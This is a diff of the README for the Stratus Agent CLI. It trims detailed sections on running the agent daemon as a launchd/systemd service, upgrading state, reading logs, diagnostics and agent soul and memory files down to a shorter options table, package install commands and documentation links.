- What the fleet has set is never only the agents' business:
695
-
696
- ```bash
697
- stratus schedules # every agent's schedules, straight from the daemon's database
698
- stratus schedules cancel <id> # stop the next firing; the destination grant dies with the row
699
- ```
700
-
701
- Cancelling — from the CLI, the control API (`DELETE /schedules/:id`), or the
702
- agent's own `schedule.cancel` — revokes the pre-authorized destination in the
703
- same stroke, and a running daemon notices without a restart. The daemon log
704
- records that a schedule was created, fired, or cancelled (ids and
705
- destinations, never prompt contents beyond the row itself).
706
-
707
- ## Always on
708
-
709
- `stratus serve` stays a foreground process on purpose — debuggable, and
710
- composable with whatever supervisor you already run. Surviving logout, crashes,
711
- and reboots is the platform's job, so `stratus service` hands the daemon to
712
- launchd on macOS and to systemd on Linux:
713
-
714
- ```bash
715
- stratus service install # write the unit, start now, start at every login
716
- stratus service install --no-login
717
- stratus service status
718
- stratus service start
719
- stratus service stop
720
- stratus service uninstall
721
- ```
722
-
723
- `stratus setup` installs it for you at Save & finish unless you opt out, so
724
- most people never run these by hand. What they get:
725
-
726
- - **macOS** — a LaunchAgent at `~/Library/LaunchAgents/com.stratusagent.stratusd.plist`
727
- - **Linux** — a systemd user unit at `~/.config/systemd/user/stratusd.service`
728
-
729
- The unit runs the daemon by **absolute path** — the node binary and script of
730
- the process that installed it, never a bare `stratus`. A service manager starts
731
- with a minimal environment and never loads the shell profile that puts `stratus`
732
- on your `PATH`. It stops with SIGTERM, so the gateway's drain actually runs.
733
-
734
- A default install restarts the daemon if it crashes, but not after a clean
735
- exit — stopping it yourself keeps it stopped. **`--no-login` gives up crash
736
- restarts on macOS**, and that is launchd's rule rather than a choice: `KeepAlive`
737
- implies `RunAtLoad`, so a job that must not start at login cannot ask to be
738
- revived either. `stratus service install --no-login` says so when it finishes.
739
- On Linux the two are independent, and `Restart=on-failure` applies either way.
740
-
741
- `status` asks the service manager, not the unit file, whether the daemon is
742
- alive, and exits non-zero when it isn't — so it works in a health check:
743
-
744
- ```text
745
- stratusd running
746
- manager launchd
747
- unit ~/Library/LaunchAgents/com.stratusagent.stratusd.plist
748
- at login yes
49
+ stratus dashboard # web dashboard, signed in via a one-time link
749
50
  ```
750
51
 
751
- **One limit worth knowing before you rely on it.** A LaunchAgent starts at
752
- **login, not at power-on**, and only while that user is logged in — an
753
- unattended Mac needs automatic login turned on too. (A `LaunchDaemon` would
754
- start without a login, but it runs as a system user, which breaks `~/.stratus`
755
- paths and the Claude subscription token entirely, so the LaunchAgent is the
756
- right choice.) The systemd equivalent is `loginctl enable-linger` on a machine
757
- you don't stay logged in to. Setup says both in the menu rather than leaving
758
- them to be discovered after a reboot.
759
-
760
- ## Updating
761
-
762
- `~/.stratus` is a real on-disk format — config, credentials, souls, memory,
763
- the session database — so upgrading is more than `npm install -g`. Two pieces
764
- handle it:
765
-
766
- **State is versioned, and migrations run themselves.** `~/.stratus/state.json`
767
- records a schema version and which migrations have been applied. On the first
768
- command of a newer build — whatever installed it: npm directly, Homebrew, a
769
- pinned version in CI — any pending migrations run automatically, each one
770
- idempotent, applied in order, and recorded as it completes. This is deliberate:
771
- an upgrade path that migrates only through one blessed command leaves the
772
- other install methods on unmigrated state, and the two populations diverge
773
- silently. (One constraint that keeps the automatic path honest: a migration
774
- must be safe to run while a daemon is serving, because this path does not
775
- stop the managed service — only `stratus update` does. A migration needing
776
- exclusive access to shared state is not registered until the registry can
777
- require that bracket.)
778
-
779
- The reverse direction refuses instead of guessing: against state stamped by
780
- a **newer** build than itself, anything that *writes* under `~/.stratus` —
781
- `serve`, `setup`, `chat`, `run`, `skill add`, `dashboard`, `schedules
782
- cancel`, `service install`/`start` — refuses with a line naming the fix,
783
- because a downgraded build writing into a newer format is the one way to
784
- corrupt it. Read-only commands (`logs`, `agents`, `doctor`, `service
785
- status`/`stop`) warn and continue: reading is how you diagnose your way out.
786
-
787
- **`stratus update` does the operational sequence around that, in the order
788
- that cannot lose data:**
789
-
790
- ```bash
791
- stratus update # stop stratusd → upgrade from npm → migrate →
792
- # rewrite the service unit → restart
793
- stratus update --check # report all of it, change nothing (exits 1 when
794
- # something is actionable, for scripts and cron)
795
- ```
796
-
797
- The service stop comes first so no daemon holds the session database while
798
- state changes, and the unit rewrite is the step nothing else performs: the
799
- unit runs the daemon by **absolute paths** (see [Always on](#always-on)), so
800
- upgrading node — under nvm, a whole new version directory — leaves the unit
801
- pointing at an interpreter that no longer exists. The service stops working
802
- and nothing says so; the agents just stop answering. `stratus update` rewrites
803
- the unit with the current node and entrypoint paths, preserving its `--config`
804
- pin and login setting, and `stratus doctor` flags a stale unit path as a
805
- problem. Every step degrades independently — with npm unreachable, `update`
806
- skips the package upgrade but still migrates and repairs the unit, which is
807
- exactly what the offline case needs. A daemon that was deliberately stopped
808
- before the update is left stopped after it.
809
-
810
- ## Logs
811
-
812
- Under a service manager the daemon's stdout is gone, so everything `stratus
813
- serve` says is also written to `~/.stratus/logs/stratusd.jsonl` (owner-read-only,
814
- rotated at 8 MB, three generations kept). That file is the record of an
815
- overnight run, and `stratus logs` reads it from any terminal:
816
-
817
- ```bash
818
- stratus logs # the last 50 records
819
- stratus logs -f # follow, across rotations
820
- stratus logs -n 200
821
- stratus logs --agent ava
822
- stratus logs --session slack:ava:T01ABCDEF:C07GHIJKL:1731900000.123456
823
- stratus logs --format json # the raw records, for jq
824
- ```
825
-
826
- ```text
827
- 09:14:02 — stratusd ready — 3 agents, slack connected
828
- 09:14:31 ava session.created [slack:ava:T01ABCDEF:C07GHIJKL:1731900000.123456]
829
- 09:14:36 ava tool.completed tool=memory.remember ok=true [slack:ava:T01ABCDEF:C07GHIJKL:1731900000.123456]
830
- 09:21:07 — warning: anthropic returned 529; retrying on the fallback model
831
- ```
832
-
833
- Session ids are the channel's own key — `channel:agent:team:conversation[:thread]`
834
- — so the id in the last column is exactly what `--session` wants, and the same
835
- conversation keeps it across daemon restarts.
836
-
837
- The log is a **trace, not a second transcript**: it records that a tool ran and
838
- that a session completed, with the tool's name, the agent, and the session id.
839
- Prompts, replies, and tool inputs are not written — what was said lives in the
840
- session store instead. A memory write or forget also records the **entry id**
841
- it touched (never the fact itself), so "when did the agent learn this" has an
842
- answer.
843
-
844
- One exception worth knowing before you paste a log anywhere. A failed session
845
- records the **provider's error text verbatim**, and providers routinely quote
846
- the request that failed — so a malformed prompt can end up inside an error
847
- message. Skim a log before sharing it, and prefer `--agent` or `--session` to
848
- narrow it to the run you actually mean.
849
-
850
- ### When the log is empty
851
-
852
- A daemon that fails *before* it starts serving — a broken install, an
853
- unreadable credentials file — never gets as far as opening the structured log,
854
- so `stratus logs` shows nothing or shows yesterday. Those errors go to stderr,
855
- and where stderr lands is the service manager's business, so it differs by
856
- platform:
857
-
858
- ```bash
859
- tail ~/.stratus/logs/stratusd.err.log # macOS
860
- journalctl --user-unit=stratusd.service # Linux
861
- ```
862
-
863
- That is where a restart loop explains itself. On macOS the LaunchAgent redirects
864
- both streams to files, so Stratus truncates them when `serve` starts and every
865
- five minutes while it runs — a crash loop cannot fill the disk with the same
866
- error a million times. On Linux systemd keeps the same output in the journal
867
- instead, which does its own rotation, so there is nothing beside the JSONL to
868
- bound and nothing to clean up.
869
-
870
- ## When something looks off
871
-
872
- `stratus doctor` answers one question — *what would a run use right now, and
873
- who decided that?* Every setting is shown with the file or environment variable
874
- it came from, because the answer is usually that something outranks what you
875
- thought you configured:
876
-
877
- ```bash
878
- stratus doctor
879
- stratus doctor --format json
880
- ```
881
-
882
- ```text
883
- Stratus Agent — what a run would use right now
884
-
885
- provider anthropic
886
- from ~/.stratus/agents/ava.md (soul frontmatter)
887
- model claude-opus-5
888
- from ~/.stratus/agents/ava.md (soul frontmatter)
889
- soul ~/.stratus/agents/ava.md
890
- from ~/.stratus/config.json
891
- agent Ava (ava)
892
-
893
- Files
894
- config ~/.stratus/config.json
895
- agents 1 soul file
896
-
897
- Sign-ins
898
- anthropic Claude subscription (Pro/Max) — runs go through the Claude Code runtime
899
- openai not signed in
900
-
901
- Channels
902
- slack no agents connected
903
- @stratusagent/channel-slack installed
904
-
905
- 1 problem found:
906
- ! A fallback model (gpt-4.1-mini) is configured but could not be resolved — usually
907
- no sign-in for its provider. A failing primary model has nothing to retry on.
908
- ```
909
-
910
- It resolves the config exactly the way a run does rather than re-deriving the
911
- rules, so what it prints is what you would get. It exits non-zero when it finds
912
- a problem, and it is the fastest answer to the two most common surprises: a run
913
- that turns out to be on the `demo` provider, and an `ANTHROPIC_API_KEY` in the
914
- environment quietly demoting a Claude subscription sign-in to per-token billing.
915
-
916
- ## Agents are people
917
-
918
- An agent's identity lives in a **soul file** — markdown with frontmatter for the structured parts (name, provider, model, tool and skill allowlists) and prose for the personality:
919
-
920
- ```markdown
921
- ---
922
- name: Ava
923
- provider: anthropic
924
- model: claude-opus-5
925
- tools:
926
- - demo.echo
927
- - memory.*
928
- skills:
929
- - code-review
930
- ---
931
-
932
- You are a sharp, warm generalist. Answer first, explain second...
933
- ```
934
-
935
- Agents remember: facts saved with the built-in `memory.remember` tool persist
936
- to `~/.stratus/memory.jsonl`, keyed to the agent — so the Ava you talk to
937
- tomorrow remembers today, from any directory. Recall is something the agent
938
- does, not only something done to it: the system prompt carries the most
939
- recent facts (up to 20, within a byte budget), and everything older is
940
- reachable through `memory.recall`, a full-text search over the agent's own
941
- store — plain words in, matching facts out, newest first; a query like `C++`
942
- or an unmatched quote is a search, never an error. `memory.forget` retires a
943
- fact by id: it stops reaching prompts and recall, but stays in the file as a
944
- tombstone line, so you can still see what an agent chose to drop. A single
945
- fact is capped at 4 KiB — an oversized `memory.remember` is refused outright
946
- rather than stored truncated.
947
-
948
- One thing to check on souls written before recall existed: a `tools:`
949
- allowlist naming exactly `memory.remember` lets the agent keep saving facts
950
- but not search them, and with the prompt now carrying only the recent slice,
951
- its older memories are out of reach. Add `memory.recall` and `memory.forget`
952
- — or just `memory.*`, as the example above does. A soul with no `tools:`
953
- list is unaffected; omitted means every registered tool.
954
-
955
- The JSONL is the record and you may edit it: add a line by hand and it is
956
- recallable; fix a typo and nothing goes stale. Search is served from a
957
- derived FTS index the CLI writes alongside, `~/.stratus/memory.jsonl.index`
958
- — safe to delete at any time, it is rebuilt from the JSONL on the next
959
- recall.
960
-
961
- **Ids are not labels.** Frontmatter may set `id:` explicitly, and it keys the
962
- agent's sessions, memory, credentials, Slack tokens, and every per-agent path
963
- on disk. So it has to stay one path segment, and one ordinary map key: an id
964
- may not start with a dot or contain a slash, a backslash, a control
965
- character, or leading or trailing whitespace, and it may not be a name every
966
- object already answers to (`__proto__`, `constructor`, `toString`). Anything that would leave its directory is rejected when the soul
967
- loads rather than quietly cleaned up — `id: ../../escape` is refused, not
968
- rewritten to `escape`.
969
-
970
- Anything else is yours. An id like `Ava_1` or `team.alpha` is unusual but
971
- harmless, and it is already keying that agent's sessions and sign-ins, so it
972
- is left exactly as written. Omit `id:` and one is derived from the name as a
973
- plain slug (`ava`); a generated agent's id is also capped at 64 characters,
974
- but a slug derived from a name you chose is used whole, because shortening
975
- an id moves the agent it belongs to.
976
-
977
- Creating an agent checks the id against every id the served roster holds,
978
- not against the filenames on disk: what the roster files *declare* (a soul
979
- at `renamed.md` can declare `id: ava`), the configured default soul even
980
- when its file lives elsewhere, and the reserved `stratus`. A new agent gets
981
- a suffixed id (`ava-3f9c`) rather than one that would collide. Its name
982
- stays the one you chose.
983
-
984
- **Two souls cannot share an id.** That is not two agents; it is one agent
985
- whose memory and sign-ins belong to whichever file sorted first. The roster
986
- refuses to load and names both files, `stratus serve` will not start,
987
- `stratus doctor` reports it, and `stratus setup` → Channels offers no
988
- agents at all — nothing is servable while the roster is ambiguous, so
989
- connecting a Slack app would configure something that cannot run. Neither
990
- command offers to clear "unmatched" Slack tokens in that state either: a
991
- roster that would not load cannot prove which ids are missing, and the
992
- tokens at risk belong to agents that are perfectly fine. (An unreadable *single* soul still degrades to a
993
- warning — one broken file never takes the team down. A collision has no
994
- correct winner, which is the difference.) The built-in `stratus` id is
995
- reserved: souls claiming it are skipped — including two of them, since
996
- neither was going to get the id, so their agreeing on it is not a collision
997
- to refuse over.
52
+ Full reference with every subcommand:
53
+ [CLI reference](https://github.com/stratuslabs/agent/blob/main/docs/reference/cli.md).
998
54
 
999
55
  ## Options
1000
56
 
1001
57
  | Flag | Purpose |
1002
58
  | --- | --- |
1003
59
  | `--soul <file>` | Run as the agent defined by a soul file (also `STRATUS_SOUL` / config `soul` key) |
1004
- | `--provider` | `anthropic`, `openai`, or `demo` (offline, no account) |
1005
- | `--model` | Model for real providers (anthropic default: `claude-opus-5`) |
60
+ | `--provider` | `anthropic`, `openai`, `codex`, or `demo` (offline, no account) |
61
+ | `--model` | Model for real providers (anthropic default: `claude-opus-5`, codex default: `gpt-5.5`) |
1006
62
  | `--base-url` | Override the provider API base URL |
1007
63
  | `--config <file>` | Load settings from a specific config file |
1008
- | `--approvals` | `run`/`chat`: tool approval mode — `always`, `ask`, or `never`. `serve`: how the daemon reaches a human — `headless` (refuse gated calls) or `remote` (ask in Slack); overrides the config's `approvals.mode` |
64
+ | `--approvals` | `run`/`chat`: `always`, `ask`, or `never`. `serve`: `headless` (refuse gated calls) or `remote` (ask in Slack) |
1009
65
  | `--max-turns` | Max provider turns per run (default 8) |
1010
66
  | `--format` | `text` or `json` |
1011
- | `--idle-timeout` | `stratus serve`: seconds of provider silence before the watchdog aborts a turn (default 120) |
67
+ | `--idle-timeout` | `serve`: seconds of provider silence before the watchdog aborts a turn (default 120) |
1012
68
  | `--no-events` | Hide the event log |
1013
- | `--no-log-file` | `stratus serve`: do not write `~/.stratus/logs/stratusd.jsonl` |
1014
- | `--no-api` | `stratus serve`: do not serve the control API |
1015
- | `--api-host` | `stratus serve`: control API interface (default `127.0.0.1`) |
1016
- | `--api-port` | `stratus serve`: control API port (default `4123`; `0` picks any free port) |
1017
- | `--gateway <url>` | `stratus agents`: read the roster from a running daemon's control API |
1018
- | `--port`, `--host` | `stratus dashboard`: where a daemon it starts should bind |
1019
- | `--token` | Bearer token for `--gateway` (default: `~/.stratus/gateway-token`, or `STRATUS_GATEWAY_TOKEN`) |
1020
- | `--no-login` | `stratus service install`: install without the start-at-login trigger |
1021
- | `-f`, `--follow` | `stratus logs`: follow the log, across rotations |
1022
- | `-n <count>` | `stratus logs`: how much backlog to print (default 50) |
1023
- | `--agent`, `--session` | `stratus logs`: show only one agent's or one session's records |
69
+ | `--no-log-file` | `serve`: do not write `~/.stratus/logs/stratusd.jsonl` |
70
+ | `--no-api` | `serve`: do not serve the control API |
71
+ | `--api-host`, `--api-port` | `serve`: control API bind (default `127.0.0.1:4123`) |
72
+ | `--gateway <url>`, `--token` | `agents`: read the roster from a running daemon's control API |
73
+ | `--port`, `--host`, `--no-open` | `dashboard`: where a daemon it starts should bind; skip opening the browser |
74
+ | `--no-login` | `service install`: install without the start-at-login trigger |
75
+ | `-f`, `-n`, `--agent`, `--session` | `logs`: follow, backlog size, and filters |
76
+
77
+ Precedence: flags → `STRATUS_*` env vars → soul file hints → config file.
78
+ Project-local `stratus.config.json` outranks the global
79
+ `~/.stratus/config.json`; stored sign-ins are endpoint-bound and never sent
80
+ to endpoints a project config selects. Details:
81
+ [Configuration](https://github.com/stratuslabs/agent/blob/main/docs/reference/config.md).
82
+
83
+ ## Optional packages
84
+
85
+ Out of the box an agent can already echo, remember, recall, delegate, and
86
+ (in the daemon) schedule. Everything beyond that — a transport, real-world
87
+ tools, an open port — is a separate package you add only when you want it,
88
+ and `stratus setup` offers the ones your answers imply:
1024
89
 
1025
- Tool plugins have no flags: what is installed is a config decision (`plugins`
1026
- in a trusted config) and what an agent may call is a soul decision (`tools:`).
1027
- Neither is something a single run should be able to widen from the command
1028
- line.
90
+ ```bash
91
+ npm install -g @stratusagent/channel-slack # agents in Slack
92
+ npm install -g @stratusagent/tool-fs @stratusagent/tool-shell \
93
+ @stratusagent/tool-web @stratusagent/tool-browser # real capability
94
+ npm install -g @stratusagent/plugin-mcp # mount MCP servers
95
+ npm install -g @stratusagent/control-api @stratusagent/dashboard # HTTP API + web UI
96
+ ```
1029
97
 
1030
- Precedence: flags → `STRATUS_*` env vars → soul file hints → config file. Project-local `stratus.config.json` outranks the global `~/.stratus/config.json`; stored sign-ins are endpoint-bound and never sent to endpoints a project config selects.
98
+ A tool or MCP plugin runs nothing by being installed — a config you chose
99
+ enables it, then each agent's soul allowlists its tools. The two surfaces
100
+ switch on differently, on purpose: the Slack channel connects when an
101
+ agent's stored tokens say so, and installing the control API is itself the
102
+ decision to open an authenticated local port (`--no-api` takes it back).
103
+ The reasoning:
104
+ [the plugin trust model](https://github.com/stratuslabs/agent/blob/main/docs/concepts/plugins.md).
1031
105
 
1032
- Today the CLI covers setup, chat, one-shot runs, agent creation, the always-on gateway and its service integration, logs, diagnostics, Slack, the control API, and the web dashboard.
106
+ ## Learn more
1033
107
 
1034
- Part of [Stratus Agent](https://github.com/stratuslabs/agent) — a tiny TypeScript agent runtime.
108
+ | I want to… | Read |
109
+ | --- | --- |
110
+ | Put my agents in Slack | [Slack](https://github.com/stratuslabs/agent/blob/main/docs/guides/slack.md) |
111
+ | Give agents files, a shell, the web, a browser | [Tools](https://github.com/stratuslabs/agent/blob/main/docs/guides/tools.md) |
112
+ | Decide what runs unattended, approve the rest from Slack | [Approvals](https://github.com/stratuslabs/agent/blob/main/docs/guides/approvals.md) |
113
+ | Let agents act on their own schedule | [Schedules](https://github.com/stratuslabs/agent/blob/main/docs/guides/schedules.md) |
114
+ | Teach an agent a procedure | [Skills](https://github.com/stratuslabs/agent/blob/main/docs/guides/skills.md) |
115
+ | Run it as a service, read its logs, upgrade it | [Always on](https://github.com/stratuslabs/agent/blob/main/docs/guides/always-on.md) · [Logs](https://github.com/stratuslabs/agent/blob/main/docs/guides/logs.md) · [Updating](https://github.com/stratuslabs/agent/blob/main/docs/guides/updating.md) |
116
+ | Understand souls, ids, and memory | [Agents](https://github.com/stratuslabs/agent/blob/main/docs/concepts/agents.md) · [Memory](https://github.com/stratuslabs/agent/blob/main/docs/concepts/memory.md) |
117
+ | Fix a surprise | [Troubleshooting](https://github.com/stratuslabs/agent/blob/main/docs/guides/troubleshooting.md) |
118
+
119
+ The full index: [docs](https://github.com/stratuslabs/agent/blob/main/docs/README.md).
120
+
121
+ Part of [Stratus Agent](https://github.com/stratuslabs/agent) — a tiny
122
+ TypeScript agent runtime, MIT licensed.